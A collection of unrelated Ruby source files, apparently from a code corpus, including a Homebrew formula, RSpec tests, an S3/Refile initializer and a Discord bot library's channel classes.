sha256 "7dca0389e22e90ec1b1c199a29838803a1ae9ab34c086a926379b79edb069d89"
license "GPL-2.0-or-later"
bottle do
cellar :any_skip_relocation
rebuild 1
sha256 "55789adc6a9326b814965c6c0fcf41f912638f2e7d55d4167cbe404ec1a6938d" => :big_sur
sha256 "a5bf6f569bef04d197a6eb0c097450e65dcb5082b65ecc82201e15eb873ae755" => :arm64_big_sur
sha256 "89a44972f8d27003b4c91f04a294f0be9a0d00628fb8db21faf46a55a0720cb2" => :catalina
sha256 "a3a5a8887d1c7d43f83bf99c2f81f8900af0d83091978f5aac28447d0f093785" => :mojave
end
depends_on "autoconf" => :build
depends_on "automake" => :build
def install
# The included ./configure file is too old to work with Xcode 12
system "autoreconf", "--verbose", "--install", "--force"
system "./configure", "--disable-debug",
"--disable-dependency-tracking",
"--mandir=#{man}",
"--prefix=#{prefix}"
system "make", "install"
end
test do
assert_equal <<~EOS, shell_output("#{bin}/whatmask /24")
---------------------------------------------
TCP/IP SUBNET MASK EQUIVALENTS
---------------------------------------------
CIDR = .....................: /24
Netmask = ..................: 255.255.255.0
Netmask (hex) = ............: 0xffffff00
Wildcard Bits = ............: 0.0.0.255
Usable IP Addresses = ......: 254
EOS
end
end
| 37.4 | 123 | 0.613191 |
1cca76d8272a036d99f679079ca1f9e2ef59fa03 | 1,298 | require 'spec_helper'
describe Elasticsearch::Rails2 do
after do
Elasticsearch::Rails2.reset
end
describe ".client" do
it "should return a default Elasticsearch::Transport::Client" do
expect(Elasticsearch::Rails2.client).to be_an Elasticsearch::Transport::Client
end
end
describe ".client=" do
it "should set the client" do
obj = 'foo'
Elasticsearch::Rails2.client = obj
expect(Elasticsearch::Rails2.client).to be obj
end
end
describe '.index_name' do
it "should return the default index_name" do
expect(Elasticsearch::Rails2.index_name).to eq(Elasticsearch::Rails2::Configuration::DEFAULT_INDEX_NAME)
end
end
describe '.index_name=' do
it "should set the index_name" do
Elasticsearch::Rails2.index_name = 'production'
expect(Elasticsearch::Rails2.index_name).to eq('production')
end
end
describe '.options=' do
before do
@keys = Elasticsearch::Rails2::Configuration::VALID_OPTIONS_KEYS
@options = {
:index_name => 'production'
}
end
it "should override default configuration" do
Elasticsearch::Rails2.options = @options
@keys.each do |key|
expect(Elasticsearch::Rails2.send(key)).to eq(@options[key])
end
end
end
end
| 24.037037 | 110 | 0.677196 |
abce2eebc160aee1127cea3a8f1aac6dba351d08 | 660 | module Sightstone
# Class to represent a summoner
# @attr [String] name name
# @attr [Long] id summoner id (used for other calls)
# @attr [Integer] profileIconId profile icon id of the summoner
# @attr [long] revisionDate timestamp of latest data change
# @attr [Integer] level summoner level
class Summoner
attr_accessor :name, :id, :profileIconId, :revisionDate, :level
# @param data [Hash] json hash representation of the summoner
def initialize(data)
@name = data['name']
@id = data['id']
@profileIconId = data['profileIconId']
@revisionDate = data['revisionDate']
@level = data['summonerLevel']
end
end
end | 28.695652 | 65 | 0.693939 |
bbe8b5e1824ac32a978b741e7f78818435e31a0b | 802 | output = {}
('a'..'h').each{|reg| output[reg] = 0 }
commands = ARGF.read.split("\n")
index = 0
mul_count = 0
tick = 0
begin
loop do
index_offset = 1
cmd, reg, o_val = commands[index].split
val = output.has_key?(o_val) ? output[o_val] : o_val.to_i
#puts [output['e'], output['g']].inspect
case cmd
when 'set'
output[reg] = val
when 'sub'
output[reg] -= val
when 'mul'
output[reg] = output[reg] * val
mul_count += 1
when 'jnz'
index_offset = val if output[reg] != 0
end
puts [tick, index, commands[index], output].inspect
index += index_offset
#puts output.inspect
#puts mul_count
#sleep(1)
tick += 1
end
rescue Exception => e
puts e
puts "index is #{index}"
puts output.inspect
puts mul_count
end
| 21.675676 | 61 | 0.594763 |
4ad873e62918eafa107faf6bbe5a6ab54c59285e | 1,697 | # This initializes both
# Refile & S3 SDK in general
require "socket"
require "refile/s3"
require "refile/mini_magick"
##
# Load the S3 Credentials
# Amazon S3 credentials are loaded from ENV
# If you'd rather load them from a YAML file in config/
# uncomment the line below
#
# S3_CONFIG = YAML.load_file(Rails.root.join('config/s3.yml'))[Rails.env]
##
# Load S3 config from ENV (comment out if you're using a YAML file)
S3_CONFIG = {}
S3_CONFIG['access_key_id'] = ENV['access_key_id']
S3_CONFIG['secret_access_key'] = ENV['secret_access_key']
S3_CONFIG['region'] = ENV['region']
S3_CONFIG['bucket'] = ENV['bucket']
S3_CONFIG['prefix'] = ENV['prefix']
# AWS/S3 options hash
aws = {
access_key_id: S3_CONFIG['access_key_id'],
secret_access_key: S3_CONFIG['secret_access_key'],
region: S3_CONFIG['region'],
bucket: S3_CONFIG['bucket']
}
# Setup the Refile cache and storage
Refile.cache = Refile::Backend::FileSystem.new(Rails.root.join('tmp/refile-cache'))
Refile.store = Refile::S3.new(prefix: S3_CONFIG['prefix'], **aws)
# CDN Host for refile
Refile.cdn_host = Rails.env.production? ? "//d3lvtfmuw4ijh1.cloudfront.net" : "//localhost:3000"
Aws.config.update({
region: S3_CONFIG['region'],
credentials: Aws::Credentials.new(S3_CONFIG['access_key_id'], S3_CONFIG['secret_access_key'])
})
##
# Refile Mini Magick patch to make sure portrait
# images are properly auto-rotated
# See: https://github.com/refile/refile-mini_magick/issues/1
Refile::MiniMagick.prepend Module.new {
[:limit, :fit, :fill, :pad].each do |action|
define_method(action) do |img, *args|
super(img, *args)
img.auto_orient
end
end
}
| 30.854545 | 112 | 0.700059 |
3342a6fa7435a715392d0bf30b036fe1c360aa2a | 141 | # Be sure to restart your server when you modify this file.
Rails.application.config.session_store :cookie_store, key: '_videowall_session'
| 35.25 | 79 | 0.808511 |
5d7432902162ac27259673ac193525cbdb91b655 | 31,227 | # frozen_string_literal: true
require "async"
module Discorb
#
# Represents a channel of Discord.
# @abstract
#
class Channel < DiscordModel
# @return [Discorb::Snowflake] The ID of the channel.
attr_reader :id
# @return [String] The name of the channel.
attr_reader :name
# @!attribute [r] type
# @return [Integer] The type of the channel as integer.
@channel_type = nil
@subclasses = []
# @private
def initialize(client, data, no_cache: false)
@client = client
@data = {}
@no_cache = no_cache
_set_data(data)
end
#
# Checks if the channel is other channel.
#
# @param [Discorb::Channel] other The channel to check.
#
# @return [Boolean] True if the channel is other channel.
#
def ==(other)
return false unless other.respond_to?(:id)
@id == other.id
end
def inspect
"#<#{self.class} \"##{@name}\" id=#{@id}>"
end
# @private
def self.descendants
ObjectSpace.each_object(Class).select { |klass| klass < self }
end
# @private
def self.make_channel(client, data, no_cache: false)
descendants.each do |klass|
return klass.new(client, data, no_cache: no_cache) if !klass.channel_type.nil? && klass.channel_type == data[:type]
end
client.log.warn("Unknown channel type #{data[:type]}, initialized GuildChannel")
GuildChannel.new(client, data)
end
class << self
# @private
attr_reader :channel_type
end
def type
self.class.channel_type
end
# @private
def channel_id
Async do
@id
end
end
private
def _set_data(data)
@id = Snowflake.new(data[:id])
@name = data[:name]
@client.channels[@id] = self if !@no_cache && !(data[:no_cache])
@data.update(data)
end
end
#
# Represents a channel in guild.
# @abstract
#
class GuildChannel < Channel
# @return [Integer] The position of the channel as integer.
attr_reader :position
# @return [Hash{Discorb::Role, Discorb::Member => PermissionOverwrite}] The permission overwrites of the channel.
attr_reader :permission_overwrites
# @!attribute [r] mention
# @return [String] The mention of the channel.
#
# @!attribute [r] parent
# @macro client_cache
# @return [Discorb::CategoryChannel] The parent of channel.
# @return [nil] If the channel is not a child of category.
#
# @!attribute [r] guild
# @return [Discorb::Guild] The guild of channel.
# @macro client_cache
include Comparable
@channel_type = nil
#
# Compares position of two channels.
#
# @param [Discorb::GuildChannel] other The channel to compare.
#
# @return [-1, 1] -1 if the channel is at lower than the other, 1 if the channel is at highter than the other.
#
def <=>(other)
return 0 unless other.respond_to?(:position)
@position <=> other.position
end
#
# Checks if the channel is same as another.
#
# @param [Discorb::GuildChannel] other The channel to check.
#
# @return [Boolean] `true` if the channel is same as another.
#
def ==(other)
return false unless other.respond_to?(:id)
@id == other.id
end
#
# Stringifies the channel.
#
# @return [String] The name of the channel with `#`.
#
def to_s
"##{@name}"
end
def mention
"<##{@id}>"
end
def parent
return nil unless @parent_id
@client.channels[@parent_id]
end
alias category parent
def guild
@client.guilds[@guild_id]
end
def inspect
"#<#{self.class} \"##{@name}\" id=#{@id}>"
end
#
# Deletes the channel.
# @macro async
# @macro http
#
# @param [String] reason The reason of deleting the channel.
#
# @return [Async::Task<self>] The deleted channel.
#
def delete!(reason: nil)
Async do
@client.http.delete(base_url.wait.to_s, audit_log_reason: reason).wait
@deleted = true
self
end
end
alias close! delete!
alias destroy! delete!
#
# Moves the channel to another position.
# @macro async
# @macro http
#
# @param [Integer] position The position to move the channel.
# @param [Boolean] lock_permissions Whether to lock the permissions of the channel.
# @param [Discorb::CategoryChannel] parent The parent of channel.
# @param [String] reason The reason of moving the channel.
#
# @return [Async::Task<self>] The moved channel.
#
def move(position, lock_permissions: false, parent: :unset, reason: nil)
Async do
payload = {
position: position,
}
payload[:lock_permissions] = lock_permissions
payload[:parent_id] = parent&.id if parent != :unset
@client.http.patch("/guilds/#{@guild_id}/channels", payload, audit_log_reason: reason).wait
end
end
private
def _set_data(data)
@guild_id = data[:guild_id]
@position = data[:position]
@permission_overwrites = if data[:permission_overwrites]
data[:permission_overwrites].map do |ow|
[(ow[:type] == 1 ? guild.roles : guild.members)[ow[:id]], PermissionOverwrite.new(ow[:allow], ow[:deny])]
end.to_h
else
{}
end
@parent_id = data[:parent_id]
super
end
end
#
# Represents a text channel.
#
class TextChannel < GuildChannel
# @return [String] The topic of the channel.
attr_reader :topic
# @return [Boolean] Whether the channel is nsfw.
attr_reader :nsfw
# @return [Discorb::Snowflake] The id of the last message.
attr_reader :last_message_id
# @return [Integer] The rate limit per user (Slowmode) in the channel.
attr_reader :rate_limit_per_user
alias slowmode rate_limit_per_user
# @return [Time] The time when the last pinned message was pinned.
attr_reader :last_pin_timestamp
alias last_pinned_at last_pin_timestamp
# @return [Array<Discorb::ThreadChannel>] The threads in the channel.
attr_reader :threads
include Messageable
@channel_type = 0
# @private
def initialize(client, data, no_cache: false)
super
@threads = Dictionary.new
end
#
# Edits the channel.
# @macro async
# @macro http
# @macro edit
#
# @param [String] name The name of the channel.
# @param [Integer] position The position of the channel.
# @param [Discorb::CategoryChannel, nil] category The parent of channel. Specify `nil` to remove the parent.
# @param [Discorb::CategoryChannel, nil] parent Alias of `category`.
# @param [String] topic The topic of the channel.
# @param [Boolean] nsfw Whether the channel is nsfw.
# @param [Boolean] announce Whether the channel is announce channel.
# @param [Integer] rate_limit_per_user The rate limit per user (Slowmode) in the channel.
# @param [Integer] slowmode Alias of `rate_limit_per_user`.
# @param [Integer] default_auto_archive_duration The default auto archive duration of the channel.
# @param [Integer] archive_in Alias of `default_auto_archive_duration`.
# @param [String] reason The reason of editing the channel.
#
# @return [Async::Task<self>] The edited channel.
#
def edit(name: :unset, position: :unset, category: :unset, parent: :unset,
topic: :unset, nsfw: :unset, announce: :unset,
rate_limit_per_user: :unset, slowmode: :unset, default_auto_archive_duration: :unset,
archive_in: :unset, reason: nil)
Async do
payload = {}
payload[:name] = name if name != :unset
payload[:announce] = announce ? 5 : 0 if announce != :unset
payload[:position] = position if position != :unset
payload[:topic] = topic || "" if topic != :unset
payload[:nsfw] = nsfw if nsfw != :unset
slowmode = rate_limit_per_user if slowmode == :unset
payload[:rate_limit_per_user] = slowmode || 0 if slowmode != :unset
parent = category if parent == :unset
payload[:parent_id] = parent&.id if parent != :unset
default_auto_archive_duration ||= archive_in
payload[:default_auto_archive_duration] = default_auto_archive_duration if default_auto_archive_duration != :unset
@client.http.patch("/channels/#{@id}", payload, audit_log_reason: reason).wait
self
end
end
alias modify edit
#
# Create webhook in the channel.
# @macro async
# @macro http
#
# @param [String] name The name of the webhook.
# @param [Discorb::Image] avatar The avatar of the webhook.
#
# @return [Async::Task<Discorb::Webhook::IncomingWebhook>] The created webhook.
#
def create_webhook(name, avatar: nil)
Async do
payload = {}
payload[:name] = name
payload[:avatar] = avatar.to_s if avatar
_resp, data = @client.http.post("/channels/#{@id}/webhooks", payload).wait
Webhook.new([@client, data])
end
end
#
# Fetch webhooks in the channel.
# @macro async
# @macro http
#
# @return [Async::Task<Array<Discorb::Webhook>>] The webhooks in the channel.
#
def fetch_webhooks
Async do
_resp, data = @client.http.get("/channels/#{@id}/webhooks").wait
data.map { |webhook| Webhook.new([@client, webhook]) }
end
end
#
# Bulk delete messages in the channel.
# @macro async
# @macro http
#
# @param [Discorb::Message] messages The messages to delete.
# @param [Boolean] force Whether to ignore the validation for message (14 days limit).
#
def delete_messages!(*messages, force: false)
Async do
messages = messages.first if messages.length == 1 && messages.first.is_a?(Array)
unless force
time = Time.now
messages.delete_if do |message|
next false unless message.is_a?(Message)
time - message.created_at > 60 * 60 * 24 * 14
end
end
message_ids = messages.map { |m| Discorb::Utils.try(m, :id).to_s }
@client.http.post("/channels/#{@id}/messages/bulk-delete", { messages: message_ids }).wait
end
end
alias bulk_delete! delete_messages!
alias destroy_messages! delete_messages!
#
# Set the channel's permission overwrite.
# @macro async
# @macro http
#
# @param [Discorb::Role, Discorb::Member] target The target of the overwrite.
# @param [String] reason The reason of setting the overwrite.
# @param [Symbol => Boolean] perms The permission overwrites to replace.
#
def set_permissions(target, reason: nil, **perms)
Async do
allow_value = @permission_overwrites[target]&.allow_value.to_i
deny_value = @permission_overwrites[target]&.deny_value.to_i
perms.each do |perm, value|
allow_value[Discorb::Permission.bits[perm]] = 1 if value == true
deny_value[Discorb::Permission.bits[perm]] = 1 if value == false
end
payload = {
allow: allow_value,
deny: deny_value,
type: target.is_a?(Member) ? 1 : 0,
}
@client.http.put("/channels/#{@id}/permissions/#{target.id}", payload, audit_log_reason: reason).wait
end
end
alias modify_permissions set_permissions
alias modify_permisssion set_permissions
alias edit_permissions set_permissions
alias edit_permission set_permissions
#
# Delete the channel's permission overwrite.
# @macro async
# @macro http
#
# @param [Discorb::Role, Discorb::Member] target The target of the overwrite.
# @param [String] reason The reason of deleting the overwrite.
#
def delete_permissions(target, reason: nil)
Async do
@client.http.delete("/channels/#{@id}/permissions/#{target.id}", audit_log_reason: reason).wait
end
end
alias delete_permission delete_permissions
alias destroy_permissions delete_permissions
alias destroy_permission delete_permissions
#
# Fetch the channel's invites.
# @macro async
# @macro http
#
# @return [Async::Task<Array<Discorb::Invite>>] The invites in the channel.
#
def fetch_invites
Async do
_resp, data = @client.http.get("/channels/#{@id}/invites").wait
data.map { |invite| Invite.new(@client, invite) }
end
end
#
# Create an invite in the channel.
# @macro async
# @macro http
#
# @param [Integer] max_age The max age of the invite.
# @param [Integer] max_uses The max uses of the invite.
# @param [Boolean] temporary Whether the invite is temporary.
# @param [Boolean] unique Whether the invite is unique.
# @note if it's `false` it may return existing invite.
# @param [String] reason The reason of creating the invite.
#
# @return [Async::Task<Invite>] The created invite.
#
def create_invite(max_age: nil, max_uses: nil, temporary: false, unique: false, reason: nil)
Async do
_resp, data = @client.http.post("/channels/#{@id}/invites", {
max_age: max_age,
max_uses: max_uses,
temporary: temporary,
unique: unique,
}, audit_log_reason: reason).wait
Invite.new(@client, data)
end
end
#
# Follow the existing announcement channel.
# @macro async
# @macro http
#
# @param [Discorb::NewsChannel] target The channel to follow.
# @param [String] reason The reason of following the channel.
#
def follow_from(target, reason: nil)
Async do
@client.http.post("/channels/#{target.id}/followers", { webhook_channel_id: @id }, audit_log_reason: reason).wait
end
end
#
# Follow the existing announcement channel from self.
# @macro async
# @macro http
#
# @param [Discorb::TextChannel] target The channel to follow to.
# @param [String] reason The reason of following the channel.
#
def follow_to(target, reason: nil)
Async do
@client.http.post("/channels/#{@id}/followers", { webhook_channel_id: target.id }, audit_log_reason: reason).wait
end
end
#
# Start thread in the channel.
# @macro async
# @macro http
#
# @param [String] name The name of the thread.
# @param [Discorb::Message] message The message to start the thread.
# @param [Integer] auto_archive_duration The duration of auto-archiving.
# @param [Boolean] public Whether the thread is public.
# @param [Integer] rate_limit_per_user The rate limit per user.
# @param [Integer] slowmode Alias of `rate_limit_per_user`.
# @param [String] reason The reason of starting the thread.
#
# @return [Async::Task<Discorb::ThreadChannel>] The started thread.
#
def start_thread(name, message: nil, auto_archive_duration: 1440, public: true, rate_limit_per_user: nil, slowmode: nil, reason: nil)
Async do
_resp, data = if message.nil?
@client.http.post(
"/channels/#{@id}/threads", {
name: name,
auto_archive_duration: auto_archive_duration,
type: public ? 11 : 10,
rate_limit_per_user: rate_limit_per_user || slowmode,
},
audit_log_reason: reason,
).wait
else
@client.http.post("/channels/#{@id}/messages/#{Utils.try(message, :id)}/threads", {
name: name, auto_archive_duration: auto_archive_duration,
}, audit_log_reason: reason).wait
end
Channel.make_channel(@client, data)
end
end
alias create_thread start_thread
#
# Fetch archived threads in the channel.
# @macro async
# @macro http
#
# @return [Async::Task<Array<Discorb::ThreadChannel>>] The archived threads in the channel.
#
def fetch_archived_public_threads
Async do
_resp, data = @client.http.get("/channels/#{@id}/threads/archived/public").wait
data.map { |thread| Channel.make_channel(@client, thread) }
end
end
#
# Fetch archived private threads in the channel.
# @macro async
# @macro http
#
# @return [Async::Task<Array<Discorb::ThreadChannel>>] The archived private threads in the channel.
#
def fetch_archived_private_threads
Async do
_resp, data = @client.http.get("/channels/#{@id}/threads/archived/private").wait
data.map { |thread| Channel.make_channel(@client, thread) }
end
end
#
# Fetch joined archived private threads in the channel.
# @macro async
# @macro http
#
# @param [Integer] limit The limit of threads to fetch.
# @param [Time] before <description>
#
# @return [Async::Task<Array<Discorb::ThreadChannel>>] The joined archived private threads in the channel.
#
def fetch_joined_archived_private_threads(limit: nil, before: nil)
Async do
if limit.nil?
before = 0
threads = []
loop do
_resp, data = @client.http.get("/channels/#{@id}/users/@me/threads/archived/private?before=#{before}").wait
threads += data[:threads].map { |thread| Channel.make_channel(@client, thread) }
before = data[:threads][-1][:id]
break unless data[:has_more]
end
threads
else
_resp, data = @client.http.get("/channels/#{@id}/users/@me/threads/archived/private?limit=#{limit}&before=#{before}").wait
data.map { |thread| Channel.make_channel(@client, thread) }
end
end
end
private
def _set_data(data)
@topic = data[:topic]
@nsfw = data[:nsfw]
@last_message_id = data[:last_message_id]
@rate_limit_per_user = data[:rate_limit_per_user]
@last_pin_timestamp = data[:last_pin_timestamp] && Time.iso8601(data[:last_pin_timestamp])
super
end
end
#
# Represents a news channel (announcement channel).
#
class NewsChannel < TextChannel
include Messageable
@channel_type = 5
end
#
# Represents a voice channel.
#
class VoiceChannel < GuildChannel
# @return [Integer] The bitrate of the voice channel.
attr_reader :bitrate
# @return [Integer] The user limit of the voice channel.
# @return [nil] If the user limit is not set.
attr_reader :user_limit
include Connectable
@channel_type = 2
#
# Edit the voice channel.
# @macro async
# @macro http
# @macro edit
#
# @param [String] name The name of the voice channel.
# @param [Integer] position The position of the voice channel.
# @param [Integer] bitrate The bitrate of the voice channel.
# @param [Integer] user_limit The user limit of the voice channel.
# @param [Symbol] rtc_region The region of the voice channel.
# @param [String] reason The reason of editing the voice channel.
#
# @return [Async::Task<self>] The edited voice channel.
#
def edit(name: :unset, position: :unset, bitrate: :unset, user_limit: :unset, rtc_region: :unset, reason: nil)
Async do
payload = {}
payload[:name] = name if name != :unset
payload[:position] = position if position != :unset
payload[:bitrate] = bitrate if bitrate != :unset
payload[:user_limit] = user_limit if user_limit != :unset
payload[:rtc_region] = rtc_region if rtc_region != :unset
@client.http.patch("/channels/#{@id}", payload, audit_log_reason: reason).wait
self
end
end
alias modify edit
private
def _set_data(data)
@bitrate = data[:bitrate]
@user_limit = (data[:user_limit]).zero? ? nil : data[:user_limit]
@rtc_region = data[:rtc_region]&.to_sym
@video_quality_mode = data[:video_quality_mode] == 1 ? :auto : :full
super
end
end
#
# Represents a stage channel.
#
class StageChannel < GuildChannel
# @return [Integer] The bitrate of the voice channel.
attr_reader :bitrate
# @return [Integer] The user limit of the voice channel.
attr_reader :user_limit
# @private
attr_reader :stage_instances
include Connectable
# @!attribute [r] stage_instance
# @return [Discorb::StageInstance] The stage instance of the channel.
@channel_type = 13
# @private
def initialize(...)
@stage_instances = Dictionary.new
super(...)
end
def stage_instance
@stage_instances[0]
end
#
# Edit the stage channel.
# @macro async
# @macro http
# @macro edit
#
# @param [String] name The name of the stage channel.
# @param [Integer] position The position of the stage channel.
# @param [Integer] bitrate The bitrate of the stage channel.
# @param [Symbol] rtc_region The region of the stage channel.
# @param [String] reason The reason of editing the stage channel.
#
# @return [Async::Task<self>] The edited stage channel.
#
def edit(name: :unset, position: :unset, bitrate: :unset, rtc_region: :unset, reason: nil)
Async do
payload = {}
payload[:name] = name if name != :unset
payload[:position] = position if position != :unset
payload[:bitrate] = bitrate if bitrate != :unset
payload[:rtc_region] = rtc_region if rtc_region != :unset
@client.http.patch("/channels/#{@id}", payload, audit_log_reason: reason).wait
self
end
end
alias modify edit
#
# Start a stage instance.
# @macro async
# @macro http
#
# @param [String] topic The topic of the stage instance.
# @param [Boolean] public Whether the stage instance is public or not.
# @param [String] reason The reason of starting the stage instance.
#
# @return [Async::Task<Discorb::StageInstance>] The started stage instance.
#
def start(topic, public: false, reason: nil)
Async do
_resp, data = @client.http.post("/stage-instances", { channel_id: @id, topic: topic, public: public ? 2 : 1 }, audit_log_reason: reason).wait
StageInstance.new(@client, data)
end
end
#
# Fetch a current stage instance.
# @macro async
# @macro http
#
# @return [Async::Task<StageInstance>] The current stage instance.
# @return [Async::Task<nil>] If there is no current stage instance.
#
def fetch_stage_instance
Async do
_resp, data = @client.http.get("/stage-instances/#{@id}").wait
rescue Discorb::NotFoundError
nil
else
StageInstance.new(@client, data)
end
end
private
def _set_data(data)
@bitrate = data[:bitrate]
@user_limit = data[:user_limit]
@topic = data[:topic]
@rtc_region = data[:rtc_region]&.to_sym
super
end
end
#
# Represents a thread.
# @abstract
#
class ThreadChannel < Channel
# @return [Discorb::Snowflake] The ID of the channel.
# @note This ID is same as the starter message's ID
attr_reader :id
# @return [String] The name of the thread.
attr_reader :name
# @return [Integer] The number of messages in the thread.
# @note This will stop counting at 50.
attr_reader :message_count
# @return [Integer] The number of recipients in the thread.
# @note This will stop counting at 50.
attr_reader :member_count
alias recipient_count member_count
# @return [Integer] The rate limit per user (slowmode) in the thread.
attr_reader :rate_limit_per_user
alias slowmode rate_limit_per_user
# @return [Array<Discorb::ThreadChannel::Member>] The members of the thread.
attr_reader :members
# @return [Time] The time the thread was archived.
# @return [nil] If the thread is not archived.
attr_reader :archived_timestamp
alias archived_at archived_timestamp
# @return [Integer] Auto archive duration in seconds.
attr_reader :auto_archive_duration
alias archive_in auto_archive_duration
# @return [Boolean] Whether the thread is archived or not.
attr_reader :archived
alias archived? archived
# @!attribute [r] parent
# @macro client_cache
# @return [Discorb::GuildChannel] The parent channel of the thread.
include Messageable
@channel_type = nil
# @private
def initialize(client, data, no_cache: false)
@members = Dictionary.new
super
@client.channels[@parent_id].threads[@id] = self
@client.channels[@id] = self unless no_cache
end
#
# Edit the thread.
# @macro async
# @macro http
# @macro edit
#
# @param [String] name The name of the thread.
# @param [Boolean] archived Whether the thread is archived or not.
# @param [Integer] auto_archive_duration The auto archive duration in seconds.
# @param [Integer] archive_in Alias of `auto_archive_duration`.
# @param [Boolean] locked Whether the thread is locked or not.
# @param [String] reason The reason of editing the thread.
#
# @return [Async::Task<self>] The edited thread.
#
# @see #archive
# @see #lock
# @see #unarchive
# @see #unlock
#
def edit(name: :unset, archived: :unset, auto_archive_duration: :unset, archive_in: :unset, locked: :unset, reason: nil)
Async do
payload = {}
payload[:name] = name if name != :unset
payload[:archived] = archived if archived != :unset
auto_archive_duration ||= archive_in
payload[:auto_archive_duration] = auto_archive_duration if auto_archive_duration != :unset
payload[:locked] = locked if locked != :unset
@client.http.patch("/channels/#{@id}", payload, audit_log_reason: reason).wait
self
end
end
#
# Helper method to archive the thread.
#
# @param [String] reason The reason of archiving the thread.
#
# @return [self] The archived thread.
#
def archive(reason: nil)
edit(archived: true, reason: reason)
end
#
# Helper method to lock the thread.
#
# @param [String] reason The reason of locking the thread.
#
# @return [self] The locked thread.
#
def lock(reason: nil)
edit(archived: true, locked: true, reason: reason)
end
#
# Helper method to unarchive the thread.
#
# @param [String] reason The reason of unarchiving the thread.
#
# @return [self] The unarchived thread.
#
def unarchive(reason: nil)
edit(archived: false, reason: reason)
end
#
# Helper method to unlock the thread.
#
# @param [String] reason The reason of unlocking the thread.
#
# @return [self] The unlocked thread.
#
# @note This method won't unarchive the thread. Use {#unarchive} instead.
#
def unlock(reason: nil)
edit(archived: !unarchive, locked: false, reason: reason)
end
def parent
return nil unless @parent_id
@client.channels[@parent_id]
end
alias channel parent
def me
@members[@client.user.id]
end
def joined?
@members[@client.user.id]
end
def guild
@client.guilds[@guild]
end
def owner
guild.members[@owner_id]
end
def inspect
"#<#{self.class} \"##{@name}\" id=#{@id}>"
end
def add_member(member = :me)
Async do
if member == :me
@client.http.post("/channels/#{@id}/thread-members/@me").wait
else
@client.http.post("/channels/#{@id}/thread-members/#{Utils.try(member, :id)}").wait
end
end
end
alias join add_member
def remove_member(member = :me)
Async do
if member == :me
@client.http.delete("/channels/#{@id}/thread-members/@me").wait
else
@client.http.delete("/channels/#{@id}/thread-members/#{Utils.try(member, :id)}").wait
end
end
end
alias leave remove_member
def fetch_members
Async do
_resp, data = @client.http.get("/channels/#{@id}/thread-members").wait
data.map { |d| @members[d[:id]] = Member.new(@client, d) }
end
end
class News < ThreadChannel
@channel_type = 10
end
class Public < ThreadChannel
@channel_type = 11
end
class Private < ThreadChannel
@channel_type = 12
end
class << self
attr_reader :channel_type
end
class Member < DiscordModel
attr_reader :joined_at
def initialize(cilent, data)
@cilent = cilent
@thread_id = data[:id]
@user_id = data[:user_id]
@joined_at = Time.iso8601(data[:join_timestamp])
end
def thread
@client.channels[@thread_id]
end
def member
thread && thread.members[@user_id]
end
def id
@user_id
end
def user
@cilent.users[@user_id]
end
def inspect
"#<#{self.class} id=#{@id.inspect}>"
end
end
private
def _set_data(data)
@id = Snowflake.new(data[:id])
@name = data[:name]
@guild_id = data[:guild_id]
@parent_id = data[:parent_id]
@archived = data[:thread_metadata][:archived]
@owner_id = data[:owner_id]
@archived_timestamp = data[:thread_metadata][:archived_timestamp] && Time.iso8601(data[:thread_metadata][:archived_timestamp])
@auto_archive_duration = data[:thread_metadata][:auto_archive_duration]
@locked = data[:thread_metadata][:locked]
@member_count = data[:member_count]
@message_count = data[:message_count]
@members[@client.user.id] = ThreadChannel::Member.new(@client, data[:member].merge({ id: data[:id], user_id: @client.user.id })) if data[:member]
@data.merge!(data)
end
end
class CategoryChannel < GuildChannel
attr_reader :channels
@channel_type = 4
def text_channels
@channels.filter { |c| c.is_a? TextChannel }
end
def voice_channels
@channels.filter { |c| c.is_a? VoiceChannel }
end
def news_channel
@channels.filter { |c| c.is_a? NewsChannel }
end
def stage_channels
@channels.filter { |c| c.is_a? StageChannel }
end
def create_text_channel(*args, **kwargs)
guild.create_text_channel(*args, parent: self, **kwargs)
end
def create_voice_channel(*args, **kwargs)
guild.create_voice_channel(*args, parent: self, **kwargs)
end
def create_news_channel(*args, **kwargs)
guild.create_news_channel(*args, parent: self, **kwargs)
end
def create_stage_channel(*args, **kwargs)
guild.create_stage_channel(*args, parent: self, **kwargs)
end
private
def _set_data(data)
@channels = @client.channels.values.filter { |channel| channel.parent == self }
super
end
end
class DMChannel < Channel
include Messageable
# @private
def channel_id
Async do
@id
end
end
private
def _set_data(data)
@id = Snowflake.new(data)
end
end
end
| 29.075419 | 151 | 0.626061 |
914bc09ee6defab9f9670af39b31d79c5e6aaf4c | 260 | class FontNotoSansHebrew < Cask
version 'latest'
sha256 :no_check
url 'https://www.google.com/get/noto/pkgs/NotoSansHebrew-hinted.zip'
homepage 'http://www.google.com/get/noto'
font 'NotoSansHebrew-Regular.ttf'
font 'NotoSansHebrew-Bold.ttf'
end
| 23.636364 | 70 | 0.75 |
acd8e508806c20742a06442806999f92bb220f06 | 1,241 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
require "google/cloud/os_login/v1beta/os_login_service"
require "google/cloud/os_login/v1beta/version"
module Google
module Cloud
module OsLogin
##
# To load this package, including all its services, and instantiate a client:
#
# require "google/cloud/os_login/v1beta"
# client = ::Google::Cloud::OsLogin::V1beta::OsLoginService::Client.new
#
module V1beta
end
end
end
end
helper_path = ::File.join __dir__, "v1beta", "_helpers.rb"
require "google/cloud/os_login/v1beta/_helpers" if ::File.file? helper_path
| 31.820513 | 83 | 0.726833 |
f77ea6bf5322924ba8f63715bdc5b957037e49f7 | 173 | class RemoveReadAudit < ActiveRecord::Migration[6.0]
def change
remove_column :security_roles, :read_audit
# add_column :users, :filter_defaults, :jsonb
end
end
| 24.714286 | 52 | 0.751445 |
0364228b61f9dfd6b8596e9cbbda0f6621c7e4b6 | 1,299 | require "spec_helper"
feature "Users can update Specialist contents" do
before do
user = build :user
user.permissions = [User::Permissions::SIGNIN]
user.save
end
describe "Can update content if it belongs to Specialist" do
before do
content = create :content, platform: "Specialist"
visit content_path(content)
click_on "edit"
end
scenario "should update title" do
new_title = "New content title"
fill_in "content_title", with: new_title
click_on "Update Content"
page.should have_content(new_title)
end
# select is not showing if user doesn't have permissions
# scenario "should not update platform" do
# select "Mainstream", from: "content_platform"
# click_on "Update Content"
